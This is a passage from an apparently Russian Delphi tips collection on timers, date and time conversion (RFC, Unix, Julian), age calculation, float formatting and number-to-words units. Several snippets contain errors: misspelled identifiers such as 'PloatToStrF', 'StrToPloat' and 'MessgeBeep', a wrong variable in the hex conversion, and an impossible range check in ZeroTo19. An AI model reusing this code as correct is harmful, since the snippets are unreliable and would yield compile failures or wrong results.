procedure TForm1.Button2Click(Sender: TObject);
begin
  PStop:=GetCPUClick;
  Label4.Caption:=Format!
('Время между нажатиями:%gсек',[GetTime(PStart,PStop)])
end;
end.

Взято с сайта http://blackman.wp-club.net/


Как реализовать сверхточный таймер?

Windows is not a real time operating system so it is not really able to reliably achieve high accuracy timing without using a device driver. The best I have been able to get is a few nanoseconds using QueryPerformanceCounter. This is the procedure I use:

var
  WaitCal: Int64;

procedure Wait(ns: Integer);
var
  Counter, Freq, WaitUntil: Int64;
begin
  if QueryPerformanceCounter(Counter) then
  begin
    QueryPerformanceFrequency(Freq);
    WaitUntil := Counter + WaitCal + (ns * (Freq div 1000000));
    while Counter < WaitUntil do
      QueryPerformanceCounter(Counter);
  end
  else
    Sleep(ns div 1000);
end;

To get improved accuracy do this a little while before using Wait()

var
  Start, Finish: Int64;

Application.ProcessMessages;
Sleep(10);
QueryPerformanceCounter(Start);
Wait(0);
QueryPerformanceCounter(Finish);
WaitCal := Start - Finish;

A trick I have found to increase the reliability of this on my computer is to call Wait like this:

Application.ProcessMessages;
Sleep(0);
DoSomething;
Wait(10);
DoSomethingElse;
Взято из http://www.lmc-mediaagentur.de/dpool


Как отчитывать промежутки времени с точностью, большей чем 60 мсек?

Для начала описываешь процедуру, которая будет вызываться по сообщению от таймера :
procedure FNTimeCallBack(uTimerID, uMessage: UINT;dwUser, dw1, dw2: DWORD)
stdcall;
begin
//
//  Тело процедуры.
end;

а дальше в программе (например по нажатию кнопки) создаешь Таймер и вешаешь на него созданную процедуру
uTimerID:=timeSetEvent(10,500,@FNTimeCallBack,100,TIME_PERIODIC);

Подробности смотри в Help.
Hу и в конце убиваешь таймер
timeKillEvent(uTimerID);

И все. Точность этого способа до 1 мсек. минимальный интервал времени можно задавать 1 мсек.

Автор: Leonid Tserling
tlv@f3334.dd.vaz.tlt.ru
Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Работа со временем или как реализовать 1.20+1.50=3.10 ?

Автор: Hans Pieters

Если Вы создаёте приложение, в котором пользователь вводит значения времени, то стандартные вычисления не подойдут. Проблема в том, что нужно сделать так, чтобы выражение 1.20 + 1.70 было равно НЕ 2.90 а 3.10.
Здесь представлены три функции, которые решают эту проблему. Они работают только с часами и минутами, потому что пользователь очень редко используют секунды, но если Вам потребуются секунды, то Вы без труда сможете доработать эти функции по своему желанию. Вторая и третья функции позволяют преобразовать реальное значение времени в десятичный эквивалент и обратно. Все поля на форме будут в формате hh.mm.

function sumhhmm(a, b: double): double;
var
  h1: double;
begin
  h1 := (INT(A) + INT(B)) * 60 + (frac(a) + frac(b)) * 100;
  result := int(h1 / 60) + (h1 - int(h1 / 60) * 60) / 100;
end;

function hhmm2hhdd(const hhmm: double): double;
begin
  result := int(hhmm) + (frac(hhmm) / 0.6);
end;

function hhdd2hhmm(const hhdd: double): double;
begin
  result := int(hhdd) + (frac(hhdd) * 0.6);
end;

Использование:
// sumtime(1.20,1.50) => 3.10
// sumtime(1.20,- 0.50) => 0.30
// hhmm2hhdd(1.30) => 1.5 (1h.30m = 1.5h)
// hhdd2hhmm(1.50) => 1.30 (1.5h = 1h30m)

Взято из http://forum.sources.ru


Как конвертировать RFC дату и обратно?

function DateTimeToRfcTime(
  dt: TDateTime;
  iDiff: integer;
  blnGMT: boolean = false): string;
{*
Explanation:
iDiff is the local offset to GMT in minutes
if blnGMT then Result is UNC time else local time
e.g. local time zone: ET = GMT - 5hr = -300 minutes
    dt is TDateTime of 3 Jan 2001 5:45am
      blnGMT = true  -> Result = 'Wed, 03 Jan 2001 05:45:00 GMT'
      blnGMT = false -> Result = 'Wed, 03 Jan 2001 05:45:00 -0500'
*}
const
  Weekday: array[1..7] of string =
  ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat');
  Month: array[1..12] of string = (
    'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
    'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
var
  iDummy: Word;
  iYear: Word;
  iMonth: Word;
  iDay: Word;
  iHour: Word;
  iMinute: Word;
  iSecond: Word;
  strZone: string;
begin
  if blnGMT then
  begin
    dt := dt - iDiff / 1440;
    strZone := 'GMT';
  end
  else
  begin
    iDiff := (iDiff div 60) * 100 + (iDiff mod 60);
    if iDiff < 0 then
      strZone := Format('-%.4d', [-iDiff])
    else
      strZone := Format('+%.4d', [iDiff]);
  end;
  DecodeDate(dt, iYear, iMonth, iDay);
  DecodeTime(dt, iHour, iMinute, iSecond, iDummy);
  Result := Format('%s, %.2d %s %4d %.2d:%.2d:%.2d %s', [
    Weekday[DayOfWeek(dt)], iDay, Month[iMonth], iYear,
      iHour, iMinute, iSecond, strZone]);
end;

function RfcTimeToDateTime(
  strTime: string;
  blnGMT: boolean = true): TDateTime;
{*
Explanation:
if blnGMT then Result is UNC time else local time
e.g. local time zone: ET = GMT - 5hr = -0500
    strTime = 'Wed, 03 Jan 2001 05:45:00 -0500'
      blnGMT = true  -> FormatDateTime('...', Result) = '03.01.2001 10:45:00'
      blnGMT = false -> FormatDateTime('...', Result) = '03.01.2001 05:45:00'
*}
const
  wd = 'sun#mon#tue#wed#thu#fri#sat';
  month = 'janfebmaraprmayjunjulaugsepoctnovdec';
var
  s: string;
  dd: Word;
  mm: Word;
  yy: Word;
  hh: Word;
  nn: Word;
  ss: Word;
begin
  s := LowerCase(Copy(strTime, 1, 3));
  if Pos(s, wd) > 0 then
    Delete(strTime, 1, Pos(' ', strTime));
  s := Trim(Copy(strTime, 1, Pos(' ', strTime)));
  Delete(strTime, 1, Length(s) + 1);
  dd := StrToIntDef(s, 0);
  s := LowerCase(Copy(strTime, 1, 3));
  Delete(strTime, 1, 4);
  mm := (Pos(s, month) div 3) + 1;
  s := Copy(strTime, 1, 4);
  Delete(strTime, 1, 5);
  yy := StrToIntDef(s, 0);
  Result := EncodeDate(yy, mm, dd);
  s := strTime[1] + strTime[2];
  hh := StrToIntDef(strTime[1] + strTime[2], 0);
  nn := StrToIntDef(strTime[4] + strTime[5], 0);
  ss := StrToIntDef(strTime[7] + strTime[8], 0);
  Delete(strTime, 1, 9);
  Result := Result + EncodeTime(hh, nn, ss, 0);
  if (CompareText(strTime, 'gmt') <> 0) and blnGMT then
  begin
    hh := StrToIntDef(strTime[2] + strTime[3], 0);
    nn := StrToIntDef(strTime[4] + strTime[5], 0);
    if strTime[1] = '+' then
      Result := Result - EncodeTime(hh, nn, 0, 0)
    else
      Result := Result + EncodeTime(hh, nn, 0, 0);
  end;
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/

function RFC1123ToDateTime(Date: string): TDateTime;
var
  day, month, year: Integer;
  strMonth: string;
  Hour, Minute, Second: Integer;
begin
  try
    day      := StrToInt(Copy(Date, 6, 2));
    strMonth := Copy(Date, 9, 3);
    if strMonth = 'Jan' then month := 1
    else if strMonth = 'Feb' then month := 2
    else if strMonth = 'Mar' then month := 3
    else if strMonth = 'Apr' then month := 4
    else if strMonth = 'May' then month := 5
    else if strMonth = 'Jun' then month := 6
    else if strMonth = 'Jul' then month := 7
    else if strMonth = 'Aug' then month := 8
    else if strMonth = 'Sep' then month := 9
    else if strMonth = 'Oct' then month := 10
    else if strMonth = 'Nov' then month := 11
    else if strMonth = 'Dec' then month := 12;
    year   := StrToInt(Copy(Date, 13, 4));
    hour   := StrToInt(Copy(Date, 18, 2));
    minute := StrToInt(Copy(Date, 21, 2));
    second := StrToInt(Copy(Date, 24, 2));
    Result := 0;
    Result := EncodeTime(hour, minute, second, 0);
    Result := Result + EncodeDate(year, month, day);
  except
    Result := now;
  end;
end;

function DateTimeToRFC1123(aDate: TDateTime): string;
const
  StrWeekDay: string = 'MonTueWedThuFriSatSun';
  StrMonth: string = 'JanFebMarAprMayJunJulAugSepOctNovDec';
var
  Year, Month, Day: Word;
  Hour, Min, Sec, MSec: Word;
  DayOfWeek: Word;
begin
  DecodeDate(aDate, Year, Month, Day);
  DecodeTime(aDate, Hour, Min, Sec, MSec);
  DayOfWeek := ((Trunc(aDate) - 2) mod 7);
  Result    := Copy(StrWeekDay, 1 + DayOfWeek * 3, 3) + ', ' +
    Format('%2.2d %s %4.4d %2.2d:%2.2d:%2.2d',
    [Day, Copy(StrMonth, 1 + 3 * (Month - 1), 3),
    Year, Hour, Min, Sec]);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как подсчитать возраст по дню рождения?

{ BrthDate:  Date of birth }

function TFFuncs.CalcAge(brthdate: TDateTime): Integer;
var
  month, day, year, bmonth, bday, byear: word;
begin
  DecodeDate(BrthDate, byear, bmonth, bday);
  if bmonth = 0 then
    result := 0
  else
  begin
    DecodeDate(Date, year, month, day);
    result := year - byear;
    if (100 * month + day) < (100 * bmonth + bday) then
      result := result - 1;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Month, Day, Year, CurrentMonth, CurrentDay, CurrentYear: word;
  Age: integer;
begin
  DecodeDate(DateTimePicker1.Date, Year, Month, Day);
  DecodeDate(Date, CurrentYear, CurrentMonth, CurrentDay);
  if (Year = CurrentYear) and (Month = CurrentMonth) and (Day = CurrentDay) then
    Age := 0
  else
  begin
    Age := CurrentYear - Year;
    if (Month > CurrentMonth) then
      dec(Age)
    else if Month = CurrentMonth then
      if (Day > CurrentDay) then
        dec(Age);
  end;
  Label1.Caption := IntToStr(Age);
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как проверить, существует ли дата?

function DateExists(Date: string; Separator: char): Boolean;
var
  OldDateSeparator: Char;
begin
  Result := True;
  OldDateSeparator := DateSeparator;
  DateSeparator := Separator;
  try
    try
      StrToDate(Date);
    except
      Result := False;
    end;
  finally
    DateSeparator := OldDateSeparator;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if DateExists('35.3.2001', '.') then
  begin
    {your code}
  end;
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Конвертируем Unix дату

The value is a Unix Time, defined as seconds since 1970-01-01T00:00:00,0Z. Important is the Letter Z, you live in Sweden, in consequence you must add 1 hour for StandardDate and 2 hours for DaylightDate to the date. The infos you can get with GetTimeZoneInformation. But you must determine, which Bias (Standard or Daylight) is valid for the date (in this case -60). You can convert the date value with the function below.

The Date for 977347109 is 2000-12-20T22:18:29+01:00.

const
  UnixDateDelta = 25569; { 1970-01-01T00:00:00,0 }
  SecPerMin = 60;
  SecPerHour = SecPerMin * 60;
  SecPerDay = SecPerHour * 24;
  MinDayFraction = 1 / (24 * 60);

  {Convert Unix time to TDatetime}

function UnixTimeToDateTime(AUnixTime: DWord; ABias: Integer): TDateTime;
begin
  Result := UnixDateDelta + (AUnixTime div SecPerDay) { Days }
  + ((AUnixTime mod SecPerDay) / SecPerDay) { Seconds }
  - ABias * MinDayFraction { Bias to UTC in minutes };
end;

{Convert Unix time to String with locale settings}

function UnixTimeToStr(AUnixTime: DWord; ABias: Integer): string;
begin
  Result := FormatDateTime('ddddd  hh:nn:ss', UnixTimeToDateTime(AUnixTime, ABias));
end;

{Convert TDateTime to Unix time}

function DateTimeToUnixTime(ADateTime: TDateTime; ABias: Integer): DWord;
begin
  Result := Trunc((ADateTime - UnixDateDelta) * SecPerDay) + ABias * SecPerMin;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Label1.Caption := UnixTimeToStr(977347109, -60);
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить дату по Юлианскому календарю?

function julian(year, month, day: Integer): real;
var
  yr, mth: Integer;
  noleap, leap, days, yrs: Real;
begin
  if year < 0 then
    yr := year + 1
  else
    yr := year;
  mth := month;
  if (month < 3) then
  begin
    mth := mth + 12;
    yr := yr - 1;
  end;
  yrs := 365.25 * yr;
  if ((yrs < 0) and (frac(yrs) <> 0)) then
    yrs := int(yrs) - 1
  else
    yrs := int(yrs);
  days := int(yrs) + int(30.6001 * (mth + 1)) + day - 723244.0;
  if days < -145068.0 then
    julian := days
  else
  begin
    yrs := yr / 100.0;
    if ((yrs < 0) and (frac(yrs) <> 0)) then
      yrs := int(yrs) - 1;
    noleap := int(yrs);
    yrs := noleap / 4.0;
    if ((yrs < 0) and (frac(yrs) <> 0)) then
      yrs := int(yrs) - 1;
    leap := 2 - noleap + int(yrs);
    julian := days + leap;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как засечь время

Засекание обычно нужно в двух случаях: самому программисту – узнать, как программа работает быстрее, или для информирования пользователя, сколько программа уже трудится.

Для засекания времени удобнее всего использовать функцию GetTickCount, но нельзя забывать о ее погрешности при измерении очень коротких промежутков времени, и о том, что программы в Windows работают с непостоянной скоростью. Поэтому не стоит засекать быстрые процессы, и не стоит делать выводы о каком-то алгоритме после одного тестирования. И еще. Если вы тестируете алгоритм, то поставьте его в цикл, выполнив его, например, тысячу раз, а потом получившееся время делите на тысячу. Так точнее. Эта программа засекает, сколько времени меняется цвет точек окна в этой программе.

procedure TForm1.Button1Click(Sender: TObject);
var
  i, t: integer;
begin
  t := GetTickCount;
  randomize;
  for i := 0 to 100000 do
    Form1.Canvas.Pixels[i mod Form1.ClientWidth, i div Form1.ClientWidth] := RGB(random(255), random(255), random(255));
  Form1.Caption := IntToStr(GetTickCount - t);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как узнать об изменении системного времени

Эта программа пикает, когда кто-нибудь меняет системное время.

...
private
  procedure WMTIMECHANGE(var Message: TWMTIMECHANGE); message WM_TIMECHANGE;
...
procedure TForm1.WMTIMECHANGE(var Message: TWMTIMECHANGE);
begin
  MessgeBeep(0);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Конвертируем TDateTime to Unix Timestamp

{
  Sometimes you want to communicate with mySQL or other databases using
  the unix timestamp. To solve this difference you may want to convert your
  TDateTime to the unix timestamp format and vice versa.

}

unit unix_utils;

interface

implementation

const
  // Sets UnixStartDate to TDateTime of 01/01/1970
  UnixStartDate: TDateTime = 25569.0;

function DateTimeToUnix(ConvDate: TDateTime): Longint;
begin
  //example: DateTimeToUnix(now);
  Result := Round((ConvDate - UnixStartDate) * 86400);
end;

function UnixToDateTime(USec: Longint): TDateTime;
begin
  //Example: UnixToDateTime(1003187418);
  Result := (Usec / 86400) + UnixStartDate;
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с числами

Cодержание раздела:

Функции преобразования чисел с плавающей точкой New!
Как округлять до сотых в большую сторону?
Регионарные стандарты
Проблемы с дробными числами
Hex ---> Integer
Число английской строкой
Число русской строкой
Число украинской строкой
Работа с типом Comp
Как получить доступ к битам переменной и управлять их значением?
Dec ---> Hex New!
Integer как SmallInt New!

См. также статьи в других разделах:
PChar-->Integer
Запись и чтение чисел в Blob-поле
Быстрые операции с очень большими строками New!


Функции преобразования чисел с плавающей точкой

Преобразование числа с плавающей точкой (далее в этом разделе просто числа) в текстовую строку и обратно всегда было достаточно сложной задачей. Для ее решения в Delphi есть функции сразу трех уровней сложности.
Первый — самый простой — представлен функцией FloatToStr:

function FloatToStr( Value : Extended): string;
Число, заданное параметром Value, преобразуется в возвращаемую функцией строку. Формат преобразования соответствует типу преобразования g функции Format, причем длина выходной строки принимается равной 15 символам.
Больше возможностей для управления форматом вывода дает функция:

function PloatToStrF(Value: Extended; Format: TFloatFormat; Precision, Digits: Integer): string;
Здесь Value — преобразуемое значение, Format — один из предопределенных форматов. Хотя этот параметр имеет тип TFloatFormat, он имеет очень много общего с типами преобразований в функции Format (ссылки на них есть в предлагаемой таблице). Параметр Precision задает общее число символов в выходной строке и не должен превышать 7 для фактического параметра типа Single, 15 — для Double и 18 — для Extended. Digits — это параметр, интерпретируемый в зависимости от значения параметра Format:
ffExponent Научный формат, соответствует типу е. Precision задает общее число символов, Digits — число знаков в показателе экспоненты {0-4).
ffFixed Формат с фиксированной точкой; соответствует типу f. Precision задает общее число символов, Digits — число знаков после запятой (0-18). Если значение Precision мало для представления числа, используется научный формат.
ffGeneral Обобщенный формат, соответствует типу д (см. описание функции Format).
ffNumber Отличается от fTFixed наличием символов-разделителей тысяч (см. тип преобразования п).
ffCurrency Соответствует типу преобразования т. Параметр Digits задает число символов после десятичной точки в выходной строке (0-18).

В случае, когда в функцию переданы значения Value, соответствующие особым случаям сопроцессора ("не-число", плюс и минус бесконечность), она возвращает соответственно строки 'NAN', 'INF' и '-INF'.
Наконец, возможность полного управления форматом предоставляет функция FormatFloat:
function FormatFloat(const Format: string; Value: Extended): string;
Она преобразует число в строку в соответствии со спецификатором формата, содержащимся в параметре Format. Правила его задания следующие:
0 Поле для цифры. Если форматируемая величина имеет в этой позиции цифру, то вставляется она, в противном случае вставляется 0.
# Поле для цифры. Если форматируемая величина имеет в этой позиции цифру, то вставляется она, в противном случае ничего не вставляется.

Поле для десятичной точки. Сюда вставляется символ, определенный константой DecimalSeparator.
; Поле для разделителя тысяч. Оно означает, что группы по три цифры, считая влево от десятичной точки, будут разделяться специальным символом (он задан константой ThousandSeparator). Местоположение поля может быть произвольным.
Е+, Е-, е+, е- Признаки представления числа в научном формате. Появление любого из этих аргументов означает, что число будет преобразовано с характеристикой и мантиссой. Вставка нулей после такого аргумента позволяет определить ширину мантиссы. Разница между Е+, е+ и Е-, е-в том, что в первых двух случаях ставится "+" при выводе положительных чисел.
'хх' "хх" Символы, заключенные в обычные или двойные кавычки, напрямую включаются в выходную строку.
; Разделяет спецификаторы формата для положительных, отрицательных и нулевых чисел.

Примечания:
1. Число всегда округляется до той точности, которую позволяет заданное программистом количество полей для размещения цифр ('0' и '#').
2. Если у преобразуемого числа слева от десятичной точки получается больше значащих цифр, чем задано полей для их размещения, то цифры все равно добавляются в строку. Если полей недостаточно справа от точки, происходит округление.
3. Символ ';' позволяет задать три разных формата вывода для чисел с разным знаком. При различном количестве форматов они применяются следующим образом:
один: применяется для всех чисел;
два: первый применяется для чисел, больших или равных нулю, второй — для отрицательных;
три: первьш применяется для положительных, второй — для отрицательных чисел, третий — для нуля.
Если форматы для отрицательных чисел или нуля пусты, применяется формат для положительных чисел.
Если пуст формат для положительных чисел или спецификатор формата вообще не задан (пустая строка), то числа форматируются согласно обобщенному формату (как в функции FloatToStr). Такое форматирование применяется также в случае, если число значащих цифр слева от десятичной точки превысило 18 и не задан научный формат.
Применение спецификатора иллюстрируется в таблице на примере преобразования четырех чисел:
Спецификатор 1234 -1234 0.5 0
0 1234 -1234 1 0
0.00 1234.00 -1234.00 0.50 0.00
#.## 1234 -1234 .5
#.##0.00 1,234.00 -1,234.00 0.50 0.00
#,##0.00;(#,##0.00) 1,234.00 (1,234.00) 0.50 0.00
#,##0.00;;Zero 1,234.00 -1,234.00 0.50 Zero
О.ОООЕ+00 1.234Е+03 -1.234Е+03 5.000Е-01 О.ОООЕ+00
#.###Е-0 1.234ЕЗ -1.234ЕЗ 5Е-1 ОЕО

Две следующие функции применяют те же правила, что и рассмотренные выше функции, но отличаются параметрами:

function FloatToText(Buffer: PChar; Value: Extended; Format: TFloatFormat; Precision, Digits: Integer) : Integer; Соответствует FloatToStrF, но выходная строка помещается в буфер Buffer (без начальной длины!), а число символов в ней возвращается самой функцией.

function FloatToTextFmt(Buffer: PChar; Value: Extended; Format: PChar): Integer; Соответствует FormatFloat, но выходная строка помещается в буфер Buffer (без начальной длины!), а число символов в ней возвращается самой функцией.

Наконец, процедура:
procedure FloatToDecimal(var Result: TFloatRec; Value: Extended; Precision, Decimals: Integer); Производит подготовительный анализ преобразуемого числа, занося в поля записи Result различные его характеристики.

Перейдем к рассмотрению функций преобразования текстовой строки в число. Их две — соответственно для строк типа string и PChar:

function StrToPloat(const S: string): Extended;

function TextToFloat(Buffer: PChar; var Value: Extended): Boolean;

Общие правила для передаваемой в функцию строки таковы:
допускаются как научный, так и фиксированный форматы;
в качестве десятичной точки должен выступать символ, который содержится в DecimalSeparator;
не допускаются символы-разделители тысяч (ThousandSeparator), а также символы обозначения денежньк единиц.
В случае ошибки преобразования функция StrToFloat генерирует исключительную ситуацию EConvertError, a TextToFloat — возвращает значение False.


Как округлять до сотых в большую сторону?

Прибавляешь 0.5 затем отбрасываешь дробную часть:

Uses Math;

Function RoundMax(Num:real; prec:integer):real;
begin
  result:=roundto(num+Power(10, prec-1)*5, prec);
end;

До сотых соответственно будет:

Function RoundMax100(Num:real):real;
begin
  result:=round(num*100+0.5)/100;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Регионарные стандарты

В Дельфи есть предопределенные переменные языковых установок и форматов:

SysUtils

The following are a set of variables used to define the format for numeric or date/time strings:

var CurrencyString: string;
var CurrencyFormat: Byte;
var NegCurrFormat: Byte;
var ThousandSeparator: Char;
var DecimalSeparator: Char;
var CurrencyDecimals: Byte;
var DateSeparator: Char;
var ShortDateFormat: string;
var LongDateFormat: string;
var TimeSeparator: Char;
var TimeAMString: string;
var TimePMString: string;
var ShortTimeFormat: string;

var LongTimeFormat: string;
var ShortMonthNames: array[1..12] of string;
var LongMonthNames: array[1..12] of string;
var ShortDayNames: array[1..7] of string;
var LongDayNames: array[1..7] of string;

var SysLocale: TSysLocale;
var EraNames: array[1..7] of string;
var EraYearOffsets: array[1..7] of Integer;
var TwoDigitYearCenturyWindow: Word = 50;

var TListSeparator: Char;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Проблемы с дробными числами

Иногда возникают трудности интерпретации дробных чисел - что есть разделитель точка или запятая?

В Дельфи есть системные переменные:
DECIMALSEPARATOR - десятичный разделитель который принят в системе
THOUSANDSEPARATOR - разделитель тысяч, который принят в системе

Для USA регионального стандарта
DECIMALSEPARATOR будет "."
THOUSANDSEPARATOR будет ","

Для России
DECIMALSEPARATOR будет ","
THOUSANDSEPARATOR будет "." или " " (не помню уже)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Hex ---> Integer

var
  i: integer
  s: string;
begin
  s := '$' + ThatHexString;
  i := StrToInt(a);
end;

const HEX: array['A'..'F'] of INTEGER = (10, 11, 12, 13, 14, 15);
var str: string;
    Int, i: integer;
begin
  READLN(str);
  Int := 0;
  for i := 1 to Length(str) do
    if str[i] < 'A' then
      Int := Int * 16 + ORD(str[i]) - 48
    else
      Int := Int * 16 + HEX[str[i]];
  WRITELN(Int);
  READLN;
end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Число английской строкой

unit uNum2Str;

// Possible enhancements
// Move strings out to resource files
// Put in a general num2str utility

interface

function Num2Dollars(dNum: double): string;

implementation

uses SysUtils;

function LessThan99(dNum: double): string; forward;

// floating point modulus
function FloatMod(i, j: double): double;
begin

  result := i - (Int(i / j) * j);
end;

function Hundreds(dNum: double): string;
var

  workVar: double;
begin

  if (dNum < 100) or (dNum > 999) then
    raise Exception.Create('hundreds range exceeded');

  result := '';

  workVar := Int(dNum / 100);
  if workVar > 0 then
    result := LessThan99(workVar) + ' Hundred';
end; function OneToNine(dNum: Double): string;
begin

  if (dNum < 1) or (dNum > 9) then
    raise exception.create('onetonine: value out of range');

  result := 'woops';

  if dNum = 1 then
    result := 'One'
  else if dNum = 2 then
    result := 'Two'
  else if dNum = 3 then
    result := 'Three'
  else if dNum = 4 then
    result := 'Four'
  else if dNum = 5.0 then
    result := 'Five'
  else if dNum = 6 then
    result := 'Six'
  else if dNum = 7 then
    result := 'Seven'
  else if dNum = 8 then
    result := 'Eight'
  else if dNum = 9 then
    result := 'Nine';

end;

function ZeroTo19(dNum: double): string;
begin

  if (dNum < 0) or (dNum > 19) then
    raise Exception.Create('Bad value in dNum');

  result := '';

  if dNum = 0 then
    result := 'Zero'
  else if (dNum <= 1) and (dNum >= 9) then
    result := OneToNine(dNum)
  else if dNum = 10 then
    result := 'Ten'
  else if dNum = 11 then
    result := 'Eleven'
  else if dNum = 12 then
    result := 'Twelve'
  else if dNum = 13 then
    result := 'Thirteen'
  else if dNum = 14 then
    result := 'Fourteen'
  else if dNum = 15 then
    result := 'Fifteen'
  else if dNum = 16 then
    result := 'Sixteen'
  else if dNum = 17 then
    result := 'Seventeen'
  else if dNum = 18 then
    result := 'Eighteen'
  else if dNum = 19 then
    result := 'Nineteen'
  else
    result := 'woops!';
end;

function TwentyTo99(dNum: double): string;
var

  BigNum: string;
begin

  if (dNum < 20) or (dNum > 99) then
    raise exception.Create('TwentyTo99: dNum out of range!');

  BigNum := 'woops';

  if dNum >= 90 then
    BigNum := 'Ninety'
  else if dNum >= 80 then
    BigNum := 'Eighty'
  else if dNum >= 70 then
    BigNum := 'Seventy'
  else if dNum >= 60 then
    BigNum := 'Sixty'
  else if dNum >= 50 then
    BigNum := 'Fifty'
  else if dNum >= 40 then
    BigNum := 'Forty'
  else if dNum >= 30 then
    BigNum := 'Thirty'
  else if dNum >= 20 then
    BigNum := 'Twenty';

// lose the big num
  dNum := FloatMod(dNum, 10);

  if dNum > 0.00 then
    result := BigNum + ' ' + OneToNine(dNum)
  else
    result := BigNum;
end;

function LessThan99(dNum: double): string;
begin

  if dNum <= 19 then
    result := ZeroTo19(dNum)
  else
    result := TwentyTo99(dNum);
end;

function Num2Dollars(dNum: double): string;
var

  centsString: string;
  cents: double;
  workVar: double;
begin

  result := '';

  if dNum < 0 then
    raise Exception.Create('Negative numbers not supported');

  if dNum > 999999999.99 then
    raise Exception.Create('Num2Dollars only supports up to the millions at this point!');

  cents := (dNum - Int(dNum)) * 100.0;
  if cents = 0.0 then
    centsString := 'and 00/100 Dollars'
  else if cents < 10 then
    centsString := Format('and 0%1.0f/100 Dollars', [cents])
  else
    centsString := Format('and %2.0f/100 Dollars', [cents]);

  dNum := Int(dNum - (cents / 100.0)); // lose the cents

// deal with million's
  if (dNum >= 1000000) and (dNum <= 999999999) then
    begin
      workVar := dNum / 1000000;
      workVar := Int(workVar);
      if (workVar <= 9) then
        result := ZeroTo19(workVar)
      else if (workVar <= 99) then
        result := LessThan99(workVar)
      else if (workVar <= 999) then
        result := Hundreds(workVar)
      else
        result := 'mill fubar';

      result := result + ' Million';

      dNum := dNum - (workVar * 1000000);
    end;

// deal with 1000's
  if (dNum >= 1000) and (dNum <= 999999.99) then
    begin
// doing the two below statements in one line of code yields some really
// freaky floating point errors
      workVar := dNum / 1000;
      workVar := Int(workVar);
      if (workVar <= 9) then
        result := ZeroTo19(workVar)
      else if (workVar <= 99) then
        result := LessThan99(workVar)
      else if (workVar <= 999) then
        result := Hundreds(workVar)
      else
        result := 'thou fubar';

      result := result + ' Thousand';

      dNum := dNum - (workVar * 1000);
    end;

// deal with 100's
  if (dNum >= 100.00) and (dNum <= 999.99) then
    begin
      result := result + ' ' + Hundreds(dNum);
      dNum := FloatMod(dNum, 100);
    end;

// format in anything less than 100
  if (dNum > 0) or ((dNum = 0) and (Length(result) = 0)) then
    begin
      result := result + ' ' + LessThan99(dNum);
    end;
  result := result + ' ' + centsString;
end;

end.

function HundredAtATime(TheAmount: Integer): string;
var

  TheResult: string;
begin

  TheResult := '';
  TheAmount := Abs(TheAmount);
  while TheAmount > 0 do
    begin
      if TheAmount >= 900 then
        begin
          TheResult := TheResult + 'Nine hundred ';
          TheAmount := TheAmount - 900;
        end;
      if TheAmount >= 800 then
        begin
          TheResult := TheResult + 'Eight hundred ';
          TheAmount := TheAmount - 800;
        end;
      if TheAmount >= 700 then
        begin
          TheResult := TheResult + 'Seven hundred ';
          TheAmount := TheAmount - 700;
        end;
      if TheAmount >= 600 then
        begin
          TheResult := TheResult + 'Six hundred ';
          TheAmount := TheAmount - 600;
        end;
      if TheAmount >= 500 then
        begin
          TheResult := TheResult + 'Five hundred ';
          TheAmount := TheAmount - 500;
        end;
      if TheAmount >= 400 then
        begin
          TheResult := TheResult + 'Four hundred ';
          TheAmount := TheAmount - 400;
        end;
      if TheAmount >= 300 then
        begin
          TheResult := TheResult + 'Three hundred ';
          TheAmount := TheAmount - 300;
        end;
      if TheAmount >= 200 then
        begin
          TheResult := TheResult + 'Two hundred ';
          TheAmount := TheAmount - 200;
        end;
      if TheAmount >= 100 then
        begin
          TheResult := TheResult + 'One hundred ';
          TheAmount := TheAmount - 100;
        end;
      if TheAmount >= 90 then
        begin
          TheResult := TheResult + 'Ninety ';
          TheAmount := TheAmount - 90;
        end;
      if TheAmount >= 80 then
        begin
          TheResult := TheResult + 'Eighty ';
          TheAmount := TheAmount - 80;
        end;
      if TheAmount >= 70 then
        begin
          TheResult := TheResult + 'Seventy ';
          TheAmount := TheAmount - 70;
        end;
      if TheAmount >= 60 then
        begin
          TheResult := TheResult + 'Sixty ';
          TheAmount := TheAmount - 60;
        end;
      if TheAmount >= 50 then
        begin
          TheResult := TheResult + 'Fifty ';
          TheAmount := TheAmount - 50;
        end;
      if TheAmount >= 40 then
        begin
          TheResult := TheResult + 'Fourty ';
          TheAmount := TheAmount - 40;
        end;
      if TheAmount >= 30 then
        begin
          TheResult := TheResult + 'Thirty ';
          TheAmount := TheAmount - 30;
        end;
      if TheAmount >= 20 then
        begin
          TheResult := TheResult + 'Twenty ';
          TheAmount := TheAmount - 20;
        end;
      if TheAmount >= 19 then
        begin
          TheResult := TheResult + 'Nineteen ';
          TheAmount := TheAmount - 19;
        end;
      if TheAmount >= 18 then
        begin
          TheResult := TheResult + 'Eighteen ';
          TheAmount := TheAmount - 18;
        end;
      if TheAmount >= 17 then
        begin
          TheResult := TheResult + 'Seventeen ';
          TheAmount := TheAmount - 17;
        end;
      if TheAmount >= 16 then
